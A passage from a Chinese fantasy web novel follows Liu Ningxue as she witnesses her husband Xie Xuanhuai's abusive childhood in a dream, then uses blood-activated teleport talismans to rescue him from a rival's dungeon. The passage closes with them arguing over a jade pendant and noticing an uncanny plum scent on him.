柳凝雪无措地看着四周,此时正值中午,这条小巷处却没有一个人来往,再这么早下去他会死的!
柳凝雪跪在地上,看着谢小淮,泪水模糊了她的眼睛,她第一次恨自己这么没用。
正当她着急着,一位侍女冲了过来,大哭喊道:“世子!世子!你怎么了?!”
侍女看到这滩血迹,明显脸上也是害怕的,可她还是轻手轻脚将谢小淮抱起,走回了王府。
眼前的景象再次模糊,柳凝雪分不清是眼泪还是系统了,下一刻她又出现在了陌生的房间里。
这个房间极其朴素,但胜在干净整齐,柳凝雪定了定心神,看向床上躺着的人。
谢小淮面容安详,脸上被擦得干干净净,头上包了一圈纱布。
柳凝雪走过去,在床边蹲下,静静地看着他的眉眼,现在的他尚还稚嫩,倒不像后来的眉眼戾气横生,冷漠无情。
柳凝雪在床边蹲了一会儿,这时房门被人推开,她看过去,就见之前抱着谢小淮的侍女端着一碗药走了进来。
她长相幼态,显然还只是个小女孩,眉眼间尽显柔弱,却在看到床上人时又变得坚定不移起来。
“世子,该喝药了。”她柔声说道。
可床上的人却没有应她,她走到床边坐下,神情悲悯地望着他,眼泪又不禁流了下来,她说道:“世子你这又是何必呢?王爷不让你出去你便不要出去,做什么要翻墙?”
若不是她及时发现,恐怕谢小淮就要死在外面了。
她将谢小淮抱了回来,又偷偷出去请了大夫,这种事她不敢让谢行远知道,否则到时候她不仅要挨打,就连谢小淮也免不了被打。
侍女耐心地给谢小淮喂完了药,又挽起他的袖子给他擦拭,袖子挽起的那一刻,柳凝雪被他手臂上的伤痕给惊到了,青紫的伤痕纵横交错,触目惊心。
柳凝雪倒吸了一口凉气,这就是在虐待小孩啊!
可等她看到侍女也挽起袖子,她顿时惊得说不出话来,侍女身上的伤比谢小淮身上的更重。
看到这里,柳凝雪只觉一阵寒意涌上心头,简直恨不得现在就去把谢行远给杀了。
画面再一转,已经来到了谢小淮五岁的时候,他被谢行远送去了书院上学,柳凝雪跟着他一起到了书院。
白日里听夫子无聊的演讲,下课就跟着谢小淮回去。
也不知是常年被困在府里的缘故,谢小淮的性格变得很是孤僻,不与人来往,也不在意他人。
这日,他像往常一般放学,柳凝雪正跟着他,忽然一颗石头从后面扔来,穿过柳凝雪砸在谢小淮的头上。
谢小淮被砸了一下后,怔怔地回过头去,就见那几位常欺负他的小屁孩此时又站在了廊下,气势汹汹地盯着他。
谢小淮从不在意他们,以前是这样,现在也是这样。
正待他转身欲走时,领头的小男孩突然喊道:“你给我站住!”
谢小淮不听,面无表情地往前走。
可下一刻,那小男孩似是气极了他不给自己面子,怒意上头,脱口而出,喊道:“你个奸.生子给谁摆脸色呢?!”
谢小淮蓦地顿住了,冷着声音道:“你说什么?”
柳凝雪暗道一声不好,谢小淮一改往常的冷淡,双手捏紧成拳,小男孩有点被他的气势给吓到了,可在一众小弟面前他又不想退却,不然很没面子。
他梗着脖子喊道:“我说,你是奸,生,子,我说错了吗?这是上京城人尽皆知的事情,你装什么呢?!你父亲枉顾人伦,你母亲下贱至极!你肮脏无比,你怎么了敢来这个学堂的?!”
随着一句一句不堪入耳的话传进谢小淮耳中,他的拳头越握越紧,转身朝那男孩扑去。
两人扭打在一起,以谢小淮占上风,其余人哪里见过这种场面啊,慌乱之下,有人去拉架,有人去喊师长。
待别人将两人拉开时,他们身上已经打了一身伤,谢小淮只是一些皮外伤,那小男孩可是被他打得倒在地上起不来。
夜晚,谢行远将谢小淮带了回来,堂屋上首坐着他的父母亲,他跪在下面。
谢行远问他,“你知道你犯了什么错吗?”
谢小淮道:“不该打人。”
话刚落下,安静的堂屋里就响起了啪的一下的清脆巴掌,谢行远隔空扇了他一巴掌,谢小淮的脸被他打偏向一边。
谢行远道:“错了,你错在不该留他一命。”
谢小淮听完,刚想说话,又迎来谢行远的一巴掌,谢行远道:“你不该心软。”
谢行远扬起手正想又一掌扇去,谢小淮的侍女却在这时冲了上来抱住他,哭喊道:“王爷,别打了,世子他会改的!”
谢小淮冷眼看着上首的人,嘴角处溢出一道鲜血来,他的父亲怒意未消,冷着一张脸,看废物般看着他,他的母亲一脸冷漠地看着眼前发生的一切,眼里不见一丝心疼。
谢行远看向那名侍女,道:“看来是你身边的人影响了你,你作为我的儿子,就不该是这个样子。”
侍女似是听懂了他的话外之言,脸色一点点地变白,谢行远挥挥手,道:“来人。”
随即便有两个侍卫上前将侍女从谢小淮身边拖了下去,侍女自知自己活不下去,反而笑着对谢小淮道:“世子,奴婢不能伺候你了。”
柳凝雪心下一动,怔怔然地看着侍女被带了下去,谢小淮眸色淡淡,看不见他一点伤心的情绪。
柳凝雪于心不忍,不知是共情太过,伤及心肺的原因,她只觉头脑一阵眩晕,两眼一闭晕了过去。
再睁眼醒来的时候,柳凝雪已经回到了现实,房屋依旧没有人点灯,一片暗沉。
往事如大石般压在柳凝雪的胸口,压得她喘不过气来,以前她的朋友也调侃过她共情力太强了,以后一定吃亏,不过还好她情绪来得快,去得也快。
她吐了一口气,翻身下了床,墨黑的长发如瀑倾泄而下。
柳凝雪起身,来到外室通一下气,现在屋里只有她一人,她的心很快就静了下来。
她在屋里走了走,来时没怎么观察过这间屋子,现在一看,这屋子极大,她想了想,还是把灯给点上吧。
平时这个点早有侍女过来点灯了,只是中午她刚和李慕言吵了一架,侍女没命令也不敢来。
柳凝雪将灯给点上后,灯火映在她的身上,在她身后落下一道影子。
柳凝雪点完灯,将火引吹熄,她往一旁走了两步,身后的影子却没动,她身影顿了顿,慢慢地转过身去。
影卫正站在她身后,此刻一见她转身,刚想说话,柳凝雪却被吓得往后一摔,磕到案几上。
“你你你!你是谁啊?”柳凝雪感觉自己的声音都在颤抖,按理说李慕言的别院不是阵法重重吗?怎么突然出现个人
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影卫似是明白了什么,说道:“世子妃不必担心,我是世子的人。”
世子?谢玄淮?
柳凝雪反应过来,拍了拍胸脯道:“吓死我了吓死我了。”
但见他全身上下裹紧了,只露出一双眼睛,她又道:“你既然是谢玄淮的手下,那为什么要做这幅打扮?还有,你是怎么进到这里来的?”
影卫犹豫道:“这……一时说不清楚,别院的阵法只对人鬼有用,对我无用。”
柳凝雪打量了他几眼,也没想出他是什么东西,她坐了下来,问道:“你来找我干什么吗?,救谢玄淮吗?”
影卫点头,道:“是的,还请世子妃不计前嫌……出手相助。”
他弯腰拱手,低声下气的样子,让柳凝雪有些许不忍,道:“我又没说不救,说吧,要我怎么救?”
影卫抽出三张符纸递给她,道:“这是三张传送符,只要世子妃将自己的血滴到上面,届时世子妃就能和世子一起逃出这里。”
柳凝雪迟疑道:“就这样?”
影卫道:“是的,这几日上京城邪祟骤然增多,单凭司灵监和钦天监的力量早就控制不住了,陛下因此命令李慕言去启动防护阵,开启防护阵时李慕言需守在测卦台上不得离开半步,届时就是世子妃和世子离开的时候。”
柳凝雪接过他手中的符纸,道:“好,我知道了。”
话落,柳凝雪一抬眸,影卫就消失了,与此同时,屋门被人推开了。
柳凝雪忙将符纸收了起来,她坐在屏风后,隔着一道屏风她看向来人。
李慕言走到屏风前停下了,侍女忙着将屋里其他的灯烛点燃。
柳凝雪没好气道:“你来这里做什么?”
李慕言道:“醒了?”
柳凝雪懒得和他废话,低着头不语。
李慕言却没有越过屏风去看他,他在钦天监累死累活,早就沾染了一身汗臭味,回来时也没来得及,怕是现在一身脏乱,形象如此不好,自是不敢轻易出现在她面前。
李慕言道:“上京城最近邪崇作乱,钦天监事务繁忙,所以会没有时间来看你,我会让侍女过来教你规矩,你安心待这里便可。”
柳凝雪:“……”
她一言不发,完全听不进李慕言的话,她摩挲着指尖,琢磨着三日之后的出逃,有传送符在,想来出去不会太过艰难。
李慕言一直没等到她说话,抬眸看了眼屏风,他脚步一动又止住了。
现在的他实在没脸去见她。
李慕言道:“我回来的时候会见到你的。”
柳凝雪听到这话时,猛地拽紧了指尖,心中多了几分忐忑。
她压下心中的异感,抿着唇,依旧不说一句话。
李慕言只觉她在和自己置气,他盯着屏风上的影子看了一阵,才转身离开。
等到关门的声音响起的时候,柳凝雪才从屏风后面出来,她握紧了藏在袖下的符纸,三日之后,她就能离开这里了。
——
上京城的邪祟又骤然增多,到了晚上几乎没有人敢出门乱逛。
一事未平,一事又起,江荨和沈如珩最近忙得脚不沾地,那边又得知林月明等人遇袭,她分不开身,只好将此事交给无忧去办。
江荨正在城中捉鬼,此时,被吩咐去做其他事的小吏回来了,她问道:“监长什么时候回来?”
小吏道:“辛监长说,最慢就是今晚了,她说会赶在防护阵开启时回来。”
江荨蹙眉道:“希望如此。”
上京城的防护阵一旦开启,便难进入城中,据江荨所查到的,邪崇突然作乱,很大一部分原因是某位前辈布下的镇邪阵压不住这些邪祟了,所以他们要开启防护阵,重新布下镇邪阵。
布镇邪阵需要六天的时间,这段时间内是不允许外人进城的。
正想着,忽又有一名小吏过来道:“监副,辛监长回到了。”
江荨舒了一口气,道:“走,去测卦台。”
36. 传送符
——
晚上,别院里侍女来点过灯后便退了出去,留下柳凝雪一人在房间里。
柳凝雪坐在房中,等确定众人都出去后,她拿出被她藏在身上的符纸。
按那个人所说的,今晚李慕言出去布阵,一时半会儿是回不来的。
她将三张符纸摊开在手中拿着,另一只手从头上取下簪子。
簪子的尖端并不是很尖锐,柳凝雪拿着簪子在手上试探了几下,呼吸逐渐变得急促起来,她抬眸望着窗户,心下一横,手上的簪子狠狠往下一滑。
一道红色从她的手心溢出,柳凝雪痛得眉头皱了起来,她咬着嘴唇尽量不让自己发出一点声音,紧接着,她将鲜血一一滴到符纸上。
符纸碰血,血珠便沿着符纸的纹路蔓延开来,直至全部的纹路都呈红色。
柳凝雪松开紧咬的唇,微喘着气想,丫的,痛死她了。
她警惕地看着门外,见没有人过来,她松了一口气,接着便在床上打起座,施法开启阵法。
传送符有了她的血加持,迅速运转起来,发出一道亮光,柳凝雪取了其中一张,举到面前,低声念道:“阵法,启。”
话落,“嗖”的一下,柳凝雪就消失在了原地。
——
上京城的邪祟本就多,今日刚巧十五,阴气大增,邪祟不仅增多,还功法大增。
圣上命钦天监监长李慕言开启防护阵,守护上京。
而开启防护阵需连接上京城里的五座测卦台,中间的测卦台最高,四边的测卦台呈对称分布,朝向中间的测卦台。
钦天监和司灵监的人早已聚齐在最高的测卦台处,李慕言正在施法开启阵法,他先两把剑抛至空中,再施法祭出剑灵,守在一旁的江荨,沈如珩,辛婷仪见状,也祭出了自己的剑灵。
要开启阵法除测卦台外,还需五把相对应的剑,剑上附着的剑灵就好比如钥匙,五把剑圣上赏下去四把,还有一把留存宫中,如今也取来开阵了。
几人以李慕言为首开始打座施法,剑灵升至空中突增几倍大,纷纷飞向对应的测卦台。
李慕言专心施着法,这时,被他布了阵的别院突然传来一阵异动,他猛地睁开了眼睛。
伴随着他睁开眼,他的耳边也传来一道清脆带着傲娇的声音,道:“李监长,请专心。”
听到这个声音的李慕言皱了皱眉,忍着耐心布阵。
——
地牢处弥漫一股浓重的血腥气,那日李慕言虽让人清理了现场,但也只是将尸体带走,并未清理血块,在封闭的地下牢中,这股血腥味犹显得恶心。
然而谢玄淮却好似全不在意般,他靠着墙壁,双眸合上,染血的面容安详不已,他的手中紧拽着那枚玉佩,忽然,原本安静的玉佩闪烁了几下,他仿似全然未觉,依旧闭着眼。
刚传送到地牢的柳凝雪哎呀叫了声,传送符传送时完全不给人准备的机会,导致她穿过来时一屁股坐到了地上。
她揉了揉摔痛的屁股,刚想站起身来,一转头就发现谢玄淮正坐在自己身边。
只是看情况,他状态极为不好。
柳凝雪不禁联想到之前百梦境里看到的一切,一时觉得他可怜不已。
她伸出手想要碰他,却在快触及他的脸时又不忍心地缩了回来,但还没等收回来,谢玄淮就一把抓住了她的手。
柳凝雪被他突然的动作吓得一激灵,谢玄淮睁开眼时,眉眼戻气横生,神色阴鸷得可怕。
他转眸望向一旁的人,见到柳凝雪,他顿时收敛了身上的戻气,问她:“你怎么在这里?”
柳凝雪挣开他的手,道:“我当然是来救你的,这次把你救出去后,你可就欠我一条人命。”
说着,她打量着地牢的环境,简直不是人待的地方,说是地狱也不为过。
她收回目光,看了眼方才被他抓住的手腕,一手的血,在她干净整洁的形象上留下了一道浓墨重彩的印记。
柳凝雪已经管不了这么多了,现在谢玄淮就像一个血人,满身都是血,她担忧地问他:“能动吗?”
谢玄淮扫了她一眼,感觉她似乎有些变了,变得更关心自己了些?
他眸底隐去一抹晦色,点头道:“嗯。”
“那就好。”柳凝雪松了一口气,取出一张符纸,随即抓住了谢玄淮的手腕,开始施法。
谢玄淮看了眼符纸,上面有着特殊的印记,他一眼就看出是他做的了,这是影卫知道他性子多疑,怕他觉得柳凝雪另有所图,所以在传送符上加了印记让他放心。
谢玄淮倒觉得加不加都无所谓,若是柳凝雪敢骗他,他有的是法子折磨她。
但不知是磁场影响还是什么,柳凝雪的重心有些不稳,她下意识地抓紧了谢玄淮的手。
柳凝雪:“阵法,启。”
又是“嗖”的一下,两人瞬间消失在了地牢里,谢玄淮眉心一跳,忽然有种不好的预感。
“扑通”一声响起,也不知道柳凝雪传到了哪里,让谢玄淮结结实实地撞到了一块木块上,他身上本就有伤,这一摔,痛得他皱起眉头,咬着牙“嘶”了一声。
柳凝雪也不知道怎么回事,等到她反应过来的时候,自己已经重重压在谢玄淮身上了,他刚松的眉头又被她压得皱了起来。
“你。”谢玄淮痛得说不出一句话来。
柳凝雪顿时慌乱起来,道:“我?我,我我我,我也不知道怎么回事啊。”
这里一片黑暗,根本看不见人,且空间狭小,柳凝雪两手都施展不开来。
她撑在谢玄淮脸侧想要起身,没想到头一抬,就狠狠地撞上了一块木板,发出“咚”的一声巨响。
她痛得倒吸了一口凉气,说道:“这到底是哪里啊?”
她说话时的热气扑在自己脸上,离得太近了,他甚至能闻到她身上由内至外的香气,谢玄淮不太自在地偏过脸,语气有些许僵硬道:“不知道。”
柳凝雪一脸苦相,她怎么就这么倒霉。
她一手勉力撑着,不让自己扑下去,一手往下探去,当时施法,她随手将最后一改符纸塞进了腰带处,现在她正
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想取出符纸。
可这里的空间太小,往下摸的时候总是碰到谢玄淮,柳凝雪倒不在意,摸到一半的时候,谢玄淮却一把抓住了她的手。
他道:“我来,在哪里?”
他声音有些不自然,柳凝雪没想太多,道:“腰带上。”
谢玄淮声音闷闷的,“嗯。”
他指节伸到柳凝雪腹间,两指迅速夹出一张符纸,施法道:“阵法,启。”
话落,两人又顷刻间消失,“咚”的一下,两人一起砸到了地上,柳凝雪忙从地上爬起来,看了眼周围的环境,道:“是满春楼。”
且这个房间还是张永升死的房间,那一滩血已经被打扫干净了,只是痕迹还在。
柳凝雪高兴道:“谢玄淮我们出来了!”
谢玄淮却没有应声,柳凝雪疑惑地转过头一看,就见谢玄淮昏死在地了。
她慌了一下,扑到谢玄淮身边喊道:“谢玄淮?!谢玄淮!”
他却没有应她,柳凝雪的心凉了一截,哆哆嗦嗦地伸手去探他的鼻息,感受到微弱的热气后,柳凝雪松了一口气,道:“还好,还有气。”
柳凝雪想从他手中拿过玉佩找系统,可无奈谢玄淮握得紧,她拿不出来,只好弯腰,对着玉佩道:“系统系统听到就说一声。”
柳凝雪说完等了几秒后,依旧没听到回声,她骂道:“系统还装死!”
现在谢玄淮一身血,她也不知道是他的还是谁的,也不敢随便碰他,伤在哪里她都不知道。
柳凝雪在房里翻了翻,看看能不能找到药,结果都是无功而返。
她回来坐在谢玄淮身边,叹气道:“谢玄淮你可别死了,小时候那么艰苦你都度过了。”
她呆呆地望着门外,丝毫没察觉身旁的谢玄淮眼捷动了动。
——
测卦台上,剑灵向着对应的卦台疾速飞去。
李慕言结印让停在原地的剑灵骤然变得比其他剑灵还大上几分,接着剑灵升至卦台的最顶端,对准了孔道插下去,孔道的形状正好是这把剑的形状。
一剑落,四剑也跟着落,等剑完全插稳时,自剑柄处发出一束光射向中间测卦台的剑上,五座测卦台就此连接完毕,上京的防护阵正式开启。
由防护阵启动的剑阵同时形成,自五座测卦台而发,射向上京城中的每一只邪祟。
一时城中道上充斥着邪祟被灭的惨叫与尖叫声。
阵法启动完毕,几人睁开眼睛,李慕言看着空中的飞剑,忽然感觉有一股气而他体内横冲直撞,搞得他心肺阵痛。
防护阵是至纯之阵,专为灭邪而生,他运功的同时,体内的邪气自然也会受到功击。
两股气息在他体内对抗着,李慕言结印将那道至纯气息压下去,他将气息硬逼下去,难免不会伤及心肺,唇角溢出一丝丝血来。
他伸手擦去唇边的血,站起身就要往回走,刚走到门边,“锵”的一声,一把剑横插在他眼前。
随之而来的,是辛婷仪带笑的声音道:“李监长,这么急着走?”
37. 脱困
李慕言看她,道:“辛监长有什么问题吗?”
长剑自动拔出插回剑鞘中,辛婷仪道:“防护阵刚刚开启,按理说开阵人都要在这等上片刻,以免阵法出什么疏落,李监长不会把这件事情给忘了吧?”
辛婷仪虽不知他为什么要赶着走,但上京百姓的安全就在此,她自是不能让李慕言随便离开。
李慕言眸色闪过一抹寒冷,对辛婷仪道:“自是没有。”
说完,他又回到原来的地方,同其他人一起打座。
辛婷仪看着他的背影,目光深深,她一直觉得李慕言是个死变态,克己复礼到那种地步,不是变态是什么?
——
柳凝雪坐在冰凉的地面上,正忧心着要怎么给谢玄淮治疗,忽听身边的人一阵咳嗽,她忙转过头看去。
“谢玄淮,你没事吧?”柳凝雪一脸担忧看着他,她望了望周围,起身去茶几处给他倒了杯茶。
“喝一下水。”柳凝雪道。
在地牢里被关了那么久,出来又昏迷,肯定没吃什么东西,杯子触到谢玄淮唇边,他迟疑了一下才微微张开嘴去喝水。
柳凝雪问他:“你现在感觉怎么样了?能撑得住吗?我带你去医馆。”
喝过水后,谢玄淮感觉嗓子好了许多,他幽深的眸子打量着柳凝雪,道:“去医馆。”
他不能倒下,今晚他还有更重要的事情去做。
柳凝雪应声,将他从地上扶了起来,两人去了最近的医馆,现在刚天黑不久,医馆尚未关门。
此时的医馆效冷冷清清的,老医师倚在桌台上都快要睡着了,就在这时,院门处突然传来砰的一声巨响,吓得他差点从凳子上掉了下去。
他迷迷糊糊地喊道:“怎么了怎么了?!天塌了?天塌了?”
柳凝雪一脚踹开院门后,冲里面喊道:“大夫!大夫!快出来救人!有人要死了!!!”
她扶着奄奄一息的谢玄淮急急地走进了堂屋,老医师忙迎了上去,看到柳凝雪扶着的血人后,他一惊,道:“怎么伤成这样?快,扶到竹床上躺着。”
柳凝雪听老医师的吩咐将谢玄淮扶到白布围起的隔间里躺下,见到老医师进来,她急切地说道:“大夫,你一定要救活他啊。”
老医师让她心安,道:“姑娘不要太过担心,先出去外面等着。”
柳凝雪点了点头,听话地来到外面等着,她坐在竹椅上忍不住担心,虽然她知道谢玄淮不会死,但还是有几分担忧。
闲坐时,她想起梦境里的人,他竟是这样子过来的吗?谢行远这么极端的一个变态,谢小淮生活在这样一个极端的环境中,长大后很难心里不阴暗扭曲,但这也不代表柳凝雪认同他的观念。
正思索着,医馆院门忽然被人推开的了,柳凝雪抬头看去,正见谢玄淮的影卫手上拿着一套衣服走了进来。
柳凝雪脸色微微惊讶,她一直很好奇他是怎么知道谢玄淮会在哪里。
影卫进来后,对着柳凝雪行了一礼,道:“世子妃。”
柳凝雪看着他,问道:“你这是做什么?”
她指了指他手上拿的衣服,影卫道:“世子他一向喜欢干净,我来给世子送干净衣服。”
柳凝雪不太理解他的行为,站起来说道:“他现在躺在里面生死不明,你还在意什么干不干净?”
影卫道:“世子妃不必着急,世子是不会死的。”
柳凝雪疑惑地看他,道:“你怎么知道?”
影卫沉默不语,柳凝雪便明白了,这不是她能知道的事情。
柳凝雪道:“大夫正在给他诊治,等等吧。”
话刚落下,医师就从屋里出来了,他看了眼院子里多出来的人,对柳凝雪说道:“外伤已经包扎好了,身上还骨裂了几处,不过现在已无大碍了。”
柳凝雪的心终于落下了,她道:“多谢大夫。”
随即,医师唤来学徒抓药去煮,柳凝雪看了看影卫手上的衣服,道:“给我吧,我拿进去给他。”
影卫:“是。”
柳凝雪拿着衣服进了隔间,此时的谢玄淮正躺在竹床上,睡容安详,他身上的衣裳多数被医师剪开了,现在只穿了一件白色的里衣。
柳凝雪将衣服放到床边,然后在床边坐下,这时医师进来道:“他手上的玉佩握得紧,我拿不开。”
听完,她低头去看他手上的玉佩,血已经被擦干净了,她要是想拿出来,估计还要等到谢玄淮醒来。
这玉佩对他来讲到底有什么作用啊?难道仅因为它实力不凡,他就握着不想放?
柳凝雪托腮看着此人,过了一会儿后,便有小童送来熬好的药,她见状,忙接了过来,道:“我来吧。”
小童点头,然后将药递给了她,柳凝雪也没有喂过别人药,更别说谢玄淮还在昏迷当中。
她想了想,将药放到桌上,接着伸手想要掐着他的下颌,让他张开嘴巴,可手刚一碰到,谢玄淮就猛地抓住了她的手腕。
柳凝雪被他眼里闪过的杀意吓得身体一颤,有些害怕地道:“你你你……放手。”
看清是她后,谢玄淮放开了她的手,冷声问她:“你在干什么?”
柳凝雪道:“喂药啊,你闭着嘴巴我怎么喂?
她语气多了几分埋怨,左右他现在都已经醒了,也不需要她喂了。
她将药递到他面前,道:“喝吧。”
谢玄淮扫了一眼她,接过碗,仰头一饮而尽,中药的苦柳凝雪是领教过的,看到谢玄淮面无表情地喝完了,她心里不禁替他感到苦涩。
等他喝完后,柳凝雪朝他伸出手,说道:“好了,现在该把我的玉佩还给我了。”
谢玄淮像是没听见一样,坐在床上没动,柳凝雪半天没等到他的动作,不解地说:“你这是做什么?玉佩还我,快点。”
她现在很需要联系系统,可系统自从开启那个什么程序后就没出现了。
说着,她就要动手上来抢,结果谢玄淮一把抓住了她的手,道:“现在不能还。”
在地牢里的时候,他真真切切地感受到了玉佩的厉害,也真真切切地不想将玉佩还给柳凝雪。
他不会放过一切能让他变强的机会,他太想要变强了。
在柳凝雪看来,玉佩就是系统,是她能回到现实的关键,
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她自然也不会随意地让给别人,听到到谢玄淮不想还时,她有点生气了,道:“你怎么能这样?我那么相信你,把玉佩借给你,你也太不要脸了,还给我。”
谢玄淮眉梢轻挑,说道:“对,我就是不要脸,你第一天知道吗?”
柳凝雪气得牙痒痒的,口无遮拦地骂他,“卑鄙小人,无耻之徒,天下就没有你这么不要脸的人!”
她骂着还伸手来抢,谢玄淮拿着玉佩的手往后躲,她身量本就没他高,手臂也没他长,她拿不到也不放弃,两人一时僵持不下。
柳凝雪气极了,一咬牙,两膝盖跪上了床,一只手用力地掰开他抓着自己的手,谢玄淮万没料到她会这样,愣了一下之后,竟让她轻易挣脱了。
柳凝雪双手得了空,便去抢夺玉佩,慌乱之下,谢玄淮的手下意识地扶上了她的腰,看到自己做了什么后,他又立即松了手,柳凝雪抢过玉佩来,身形一个不稳歪坐在床上。
玉佩上还凝着点点血迹,柳凝雪将玉佩擦干净了,恨恨地瞪着谢玄淮,道:“无耻小人。”
谢玄淮:“……”
柳凝雪拿了玉佩便出去了,她走后,影卫又出了隔间。
影卫:“世子。”
谢玄淮目光看向他,问道:“准备好了吗?”
影卫道:“都准备好了,只等明日。”
明日便是怨灵弓出动的时候,这十几天里梅娘子一直没什么动静,按理说,她会出去寻找刺杀对象,就好比如之前杀的张永升几人,他们都是和梅娘子接触过的。
他让影卫一直跟着她,却没发现任何情况,更没见她和名单上的人有一点联系。
难道他查的方向错了吗?
若查到的持弓者不可控,那么夺弓的难度就会更上一层。
谢玄淮的眼神凉凉地扫过影卫,道:“她是不是持弓者,明日便会知晓。”
影卫道:“是。”
——
几近深夜的时候,确定防护阵无其他异常,司灵监和钦天监的人才离开测卦台。
李慕言带着一身疲惫回到别院,他能感受到别院的阵法并未受到影响,也就说没人闯进过别院,可他在测卦台时,直觉告诉他,别院出了事情。
他走进别院时,有侍卫上前来迎他,道:“公子。”
李慕言冷淡的眸子看着他,问:“别院出了什么事?”
侍卫道:“地牢里的人不见了。”
李慕言的脸色一沉,随即查想到了什么,目光穿过侍卫看向后院。
关着柳凝雪的房间里,烛火依旧耀眼,将房中照得一片明亮。
李慕言停在了房门前,看着这间被他精心布置过的房间,眉眼变得阴鸷起来。
你为什么一定要逃呢?别院哪里不好?只有住在这里你才不会受到一点伤害,可是你总是不听我的话,你就这么讨厌这里吗?
李慕言上前几步,将房门推开,檀香味扑面而来,房中干净整洁,却是如此冷清,仿佛这里不曾有人来过。
她走了,走得很干脆。
李慕言看着房中的布置,心里冷笑,你不会逃得出我的手掌心的。
38. 梅香
医馆里灯火明媚,映得人脸柔和,柳凝雪站在屋檐之下,没多久,谢玄淮就换好衣裳出来了。
原本疏松散乱的头发全扎起绑了个高马尾,只余额前的几缕碎发迎风轻晃,一身明黄与云白相间的锦袍称得他一身贵气。
原本就皙白的皮肤在烛火的照耀下显得愈发玉白了,面容更是犹如仙工玉雕,线条清晰凌厉,他狭长的眸子似蕴着一汪春水,如耀石般却又像无尽寒渊,幽深而冰冷。
碎发扫过他长而密的眼捷,痒得他频繁眨了几下眼,随后伸手理了理。
“世子妃?”
谢玄淮疑惑地看着她,柳凝雪被他喊得回过神来,眼神闪躲露出几分慌乱,她道:“嗯?怎么了?”
谢玄淮的眼眸有些晦暗不明,道:“回府。”
柳凝雪迟疑道:“可是……你的伤?”
谢玄淮道:“无碍。”
“好吧。”柳凝雪也不多说什么了,王府的马车停在医馆外,她与谢玄淮一齐出了医馆。
上了马车后,两人就一直保持沉默,谁也不开口,谢玄淮坐在最里,双手抱壁,双眸合上,闭目养神,柳凝雪坐在一侧不自在地喝着茶。
主要是,这马车也太小了,中间还放了个茶几,她坐在旁侧,腿有点伸不直。
柳凝雪看了眼闭眸的谢玄淮,随即小心翼翼地往里坐了下,将双腿打侧往外伸。
这样一来,她和谢玄淮的距离就更近了,柳凝雪想,只要她胳膊肘往后一肘就能捅到他的肚子。
马车在黑夜里前进着,前方夜色浓重飘起了白雾,此时的街道上空无一人,只余马车行驶及风吹过灯笼打在墙壁上的声音。
原本空荡的街道上忽然突兀地响起了一声鹅叫。
江若宁忙抓住白鹅的嘴巴,神色慌张地看了看四周,才低声对怀里的鹅道:“你想害死我吗?”
他脸上具是恨铁不成钢,伸手拍了拍大鹅带着洁白羽毛的背。
今天他听说司灵监和钦天监的人都会出来除邪,好不容易有个机会表现自己,他当然不能放过。
所以他就带上了自己的大鹅出来抓鬼,他的大鹅和别的不同,他的大鹅有灵,是真的会捉鬼,小的时候,他被鬼吓到了,经常生病做噩梦,还是自己的父亲从外面抱回来这只鹅给他,自此他再没被鬼打扰过。
他起初还嫌弃,但久而久之也就喜欢上了,虽然远不及林月明的灰毛幼虎威风。
江若宁打量了四周,没到什么东西和人后,方松了口气。
可还没等他彻底安下心来,自己怀里的大鹅突然猛地朝街道上冲了出去。
它扑棱着翅膀直直飞走到街道中间,江若宁心里一惊,也顾不得那么多了,跟着跑了出去。
“你干什么?!想要害死我啊?”
就在这时一辆马车直行而来,看到街道上的一人一鹅后,忙拉紧了僵绳,迫使马车停了下来。
马车骤然停下,马车里的柳凝雪根本没预料到会这样,她身体一个不稳往前冲了出去,正当她以为要飞出马车时,一只手稳当地抓在她肩上将她往后带。
柳凝雪被带地的又往后扑去,这一扑就扑到了谢玄淮的腿上,谢玄淮一手撑着茶几,一手抓着她的肩膀。
柳凝雪还没从冲击中缓过神来,等马车平稳后,她才回过神来,刚想质问外面怎么回事,她忽地闻到一股浓郁的梅香,这股梅香比之前更浓了,还伴随一段雪般的冷香,这段冷香冲散了过浓的梅香,便显得极为好闻。
奇怪。
柳凝雪心里想,但她又说不出哪里奇怪,谢玄淮什么时候换了香料啊。
还没等她想出个所以然来,头顶就传来谢玄淮冷冷清清的嗓音,道:“你可以起来了。”
“啊?”柳凝雪脸色瞬间讪讪,她忙从他腿上起来,轻咳几声以掩饰尴尬。
“咳咳,你……平时都用什么香料啊?”她有些不自在问道。
话落,谢玄淮还没答,外面就传进了车夫的声音,道:“世子,有人。”
谢玄淮抬眸望向马车车帘处,冰冷的视线似乎能穿透车帘看到外面。
车夫又道:“是江家二公子。”
听完,谢玄淮收回目光,道:“继续走。”
车夫:“是。”
江家二公子,江若宁?
柳凝雪脑海里想着,她对他印象最深的就是他的那只鹅,经常被他抱着乱窜。
马车重新开始行驶,柳凝雪掀起布帘望外看,果然看到了江若宁抱着他的鹅。
夜深鬼多的,江若宁还自己一个人在外面乱窜,多不安全啊,柳凝雪想了想,还是燃起了一张传信符传信给江荨。
谢玄淮扫了她一眼,说道:“你倒是挺有善心的。”
柳凝雪道:“江姐姐帮了我那么多次,当然要报答她啊。”
谢玄淮默然不语,又听柳凝雪问道:“你身上的香怎么回事?怎么换了?”
“什么香?”谢玄淮疑惑地看着她,“我之前用什么香?”
柳凝雪不知道他之前用的什么香,只知道是清淡好闻的,断不会是这种浓郁的梅香。
“梅香。”柳凝雪道,“你身上有股梅香,你没发觉吗?”
谢玄淮眉心蹙起,对她说:“我从不用梅香。”
柳凝雪越发不解了,道:“可是你身上明明就有一股梅香啊。”
谢玄淮神色一凝,低头闻了一下身上的味道,果然如柳凝雪所说般,有一段梅香。
他问道:“你什么时候知道的?”
柳凝雪道:“在满春楼查案那天。”
说完,她忽然感觉到不对,说:“难道你没有发现吗?”
谢玄淮神色如冰,脸色逐渐变得凝重,道:“不曾。”
这么浓烈的香气在他身上,他却没有闻到,已经不是一般的邪门了,其他人没怎么近过谢玄淮的身闻不到,但连他自己也没有闻到,简直诡异至极。
柳凝雪奇怪不已,说:“那你身上……”的香是怎么来的?
谢玄淮拧着眉,他自己也不清楚是哪里来的,但心中却已有了不好的猜测。
谢玄淮对车夫道:“停车。”
车夫听后,停下了马车,他从马车上下去,又对车夫道:“先送世子妃回府。”
车夫应是。
柳凝雪见他急急地走了,心里更疑惑了,她掀开车帘一看,便见谢玄淮走入了浓浓夜色中,消失在雾里。
——
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白日,柳凝雪起身去用早膳,平常她都是和谢玄淮一起吃饭的,但这个时候却不见谢玄淮过来。
她随意拦下一名侍女道:“你有见到世子吗?”
侍女道:“没有。”
柳凝雪点了点头,道:“好。”
